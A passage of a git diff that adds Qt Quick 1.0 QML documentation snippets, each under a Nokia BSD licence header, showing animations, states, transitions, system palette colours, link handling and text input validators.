+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+
+Rectangle {
+ id: rect
+ width: 100; height: 100
+ color: "red"
+
+ SequentialAnimation {
+ running: true
+ NumberAnimation { target: rect; property: "x"; to: 50; duration: 1000 }
+ NumberAnimation { target: rect; property: "y"; to: 50; duration: 1000 }
+ }
+}
+//![0]
+
diff --git a/doc/src/snippets/qtquick1/smoothedanimation.qml b/doc/src/snippets/qtquick1/smoothedanimation.qml
new file mode 100644
index 0000000000..27898f32e5
--- /dev/null
+++ b/doc/src/snippets/qtquick1/smoothedanimation.qml
@@ -0,0 +1,69 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+
+Rectangle {
+ width: 800; height: 600
+ color: "blue"
+
+ Rectangle {
+ width: 60; height: 60
+ x: rect1.x - 5; y: rect1.y - 5
+ color: "green"
+
+ Behavior on x { SmoothedAnimation { velocity: 200 } }
+ Behavior on y { SmoothedAnimation { velocity: 200 } }
+ }
+
+ Rectangle {
+ id: rect1
+ width: 50; height: 50
+ color: "red"
+ }
+
+ focus: true
+ Keys.onRightPressed: rect1.x = rect1.x + 100
+ Keys.onLeftPressed: rect1.x = rect1.x - 100
+ Keys.onUpPressed: rect1.y = rect1.y - 100
+ Keys.onDownPressed: rect1.y = rect1.y + 100
+}
+//![0]
diff --git a/doc/src/snippets/qtquick1/springanimation.qml b/doc/src/snippets/qtquick1/springanimation.qml
new file mode 100644
index 0000000000..8b29773be5
--- /dev/null
+++ b/doc/src/snippets/qtquick1/springanimation.qml
@@ -0,0 +1,65 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+
+Item {
+ width: 300; height: 300
+
+ Rectangle {
+ id: rect
+ width: 50; height: 50
+ color: "red"
+
+ Behavior on x { SpringAnimation { spring: 2; damping: 0.2 } }
+ Behavior on y { SpringAnimation { spring: 2; damping: 0.2 } }
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: {
+ rect.x = mouse.x - rect.width/2
+ rect.y = mouse.y - rect.height/2
+ }
+ }
+}
+//![0]
+
diff --git a/doc/src/snippets/qtquick1/state-when.qml b/doc/src/snippets/qtquick1/state-when.qml
new file mode 100644
index 0000000000..6a868f5c61
--- /dev/null
+++ b/doc/src/snippets/qtquick1/state-when.qml
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+//![0]
+Rectangle {
+ id: myRect
+ width: 100; height: 100
+ color: "red"
+
+ MouseArea { id: mouseArea; anchors.fill: parent }
+
+ states: State {
+ name: "hidden"; when: mouseArea.pressed
+ PropertyChanges { target: myRect; opacity: 0 }
+ }
+}
+//![0]
diff --git a/doc/src/snippets/qtquick1/state.qml b/doc/src/snippets/qtquick1/state.qml
new file mode 100644
index 0000000000..2e493bfcdb
--- /dev/null
+++ b/doc/src/snippets/qtquick1/state.qml
@@ -0,0 +1,61 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+Rectangle {
+ id: myRect
+ width: 100; height: 100
+ color: "black"
+
+ MouseArea {
+ id: mouseArea
+ anchors.fill: parent
+ onClicked: myRect.state == 'clicked' ? myRect.state = "" : myRect.state = 'clicked';
+ }
+
+ states: [
+ State {
+ name: "clicked"
+ PropertyChanges { target: myRect; color: "red" }
+ }
+ ]
+}
+//![0]
diff --git a/doc/src/snippets/qtquick1/states.qml b/doc/src/snippets/qtquick1/states.qml
new file mode 100644
index 0000000000..ab6b8d0c32
--- /dev/null
+++ b/doc/src/snippets/qtquick1/states.qml
@@ -0,0 +1,121 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![document]
+import QtQuick 1.0
+
+//![parent begin]
+Rectangle {
+//![parent begin]
+
+ id: screen
+ width: 400; height: 500
+
+
+Rectangle {
+ id: flag
+}
+Column {
+ spacing: 15
+//![signal states]
+Rectangle {
+ id: signal
+ width: 200; height: 200
+ state: "NORMAL"
+
+ states: [
+ State {
+ name: "NORMAL"
+ PropertyChanges { target: signal; color: "green"}
+ PropertyChanges { target: flag; state: "FLAG_DOWN"}
+ },
+ State {
+ name: "CRITICAL"
+ PropertyChanges { target: signal; color: "red"}
+ PropertyChanges { target: flag; state: "FLAG_UP"}
+ }
+ ]
+}
+//![signal states]
+
+//![switch states]
+Rectangle {
+ id: signalswitch
+ width: 75; height: 75
+ color: "blue"
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: {
+ if (signal.state == "NORMAL")
+ signal.state = "CRITICAL"
+ else
+ signal.state = "NORMAL"
+ }
+ }
+}
+//![switch states]
+
+//![when property]
+Rectangle {
+ id: bell
+ width: 75; height: 75
+ color: "yellow"
+
+ states: State {
+ name: "RINGING"
+ when: (signal.state == "CRITICAL")
+ PropertyChanges {target: speaker; play: "RING!"}
+ }
+}
+//![when property]
+
+Text {
+ id: speaker
+ property alias play: speaker.text
+ text: "NORMAL"
+}
+
+} // end of row
+
+//![parent end]
+}
+//![parent end]
+
+//![document]
diff --git a/doc/src/snippets/qtquick1/states/statechangescript.qml b/doc/src/snippets/qtquick1/states/statechangescript.qml
new file mode 100644
index 0000000000..03d03f8a98
--- /dev/null
+++ b/doc/src/snippets/qtquick1/states/statechangescript.qml
@@ -0,0 +1,63 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+//! [state and transition]
+State {
+ name: "state1"
+ StateChangeScript {
+ name: "myScript"
+ script: doStateStuff();
+ }
+ // ...
+}
+// ...
+Transition {
+ to: "state1"
+ SequentialAnimation {
+ NumberAnimation { /* ... */ }
+ ScriptAction { scriptName: "myScript" }
+ NumberAnimation { /* ... */ }
+ }
+}
+//! [state and transition]
+}
diff --git a/doc/src/snippets/qtquick1/systempalette.qml b/doc/src/snippets/qtquick1/systempalette.qml
new file mode 100644
index 0000000000..a3ee7c0c72
--- /dev/null
+++ b/doc/src/snippets/qtquick1/systempalette.qml
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+Rectangle {
+ SystemPalette { id: myPalette; colorGroup: SystemPalette.Active }
+
+ width: 640; height: 480
+ color: myPalette.window
+
+ Text {
+ anchors.fill: parent
+ text: "Hello!"; color: myPalette.windowText
+ }
+}
+//![0]
diff --git a/doc/src/snippets/qtquick1/text/onLinkActivated.qml b/doc/src/snippets/qtquick1/text/onLinkActivated.qml
new file mode 100644
index 0000000000..10195f2576
--- /dev/null
+++ b/doc/src/snippets/qtquick1/text/onLinkActivated.qml
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+Rectangle {
+ width: 700; height: 400
+
+//![0]
+ Text {
+ textFormat: Text.RichText
+ text: "The main website is at <a href=\"http://qt.nokia.com\">Nokia Qt DF</a>."
+ onLinkActivated: console.log(link + " link activated")
+ }
+//![0]
+
+}
+
diff --git a/doc/src/snippets/qtquick1/texthandling.qml b/doc/src/snippets/qtquick1/texthandling.qml
new file mode 100644
index 0000000000..377bb8bf6d
--- /dev/null
+++ b/doc/src/snippets/qtquick1/texthandling.qml
@@ -0,0 +1,89 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//! [document]
+import QtQuick 1.0
+
+
+//! [parent begin]
+Rectangle {
+//! [parent begin]
+ width: 300; height: 300
+ id: screen
+
+Column {
+ anchors.centerIn:parent
+
+//! [int validator]
+Column {
+ spacing: 10
+
+ Text {
+ text: "Enter a value from 0 to 2000"
+ }
+ TextInput {
+ focus: true
+ validator: IntValidator { bottom:0; top: 2000}
+ }
+}
+//! [int validator]
+
+//! [regexp validator]
+Column {
+ spacing: 10
+
+ Text {
+ text: "Which basket?"
+ }
+ TextInput {
+ focus: true
+ validator: RegExpValidator { regExp: /fruit basket/ }
+ }
+}
+//! [regexp validator]
+
+//end of column
+}
+
+//! [parent end]
+}
+//! [parent end]
+
+//! [document]
+
diff --git a/doc/src/snippets/qtquick1/transition-from-to-modified.qml b/doc/src/snippets/qtquick1/transition-from-to-modified.qml
new file mode 100644
index 0000000000..1e2ebca2cc
--- /dev/null
+++ b/doc/src/snippets/qtquick1/transition-from-to-modified.qml
@@ -0,0 +1,60 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+Rectangle {
+ id: rect
+ width: 100; height: 100
+ color: "red"
+
+ MouseArea { id: mouseArea; anchors.fill: parent }
+
+ states: State {
+ name: "brighter"; when: mouseArea.pressed
+ PropertyChanges { target: rect; color: "yellow" }
+ }
+
+ //! [modified transition]
+ transitions: Transition {
+ to: "brighter"
+ ColorAnimation { duration: 1000 }
+ }
+ //! [modified transition]
+}
diff --git a/doc/src/snippets/qtquick1/transition-from-to.qml b/doc/src/snippets/qtquick1/transition-from-to.qml
new file mode 100644
index 0000000000..ba07518dd4
--- /dev/null
+++ b/doc/src/snippets/qtquick1/transition-from-to.qml
@@ -0,0 +1,59 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
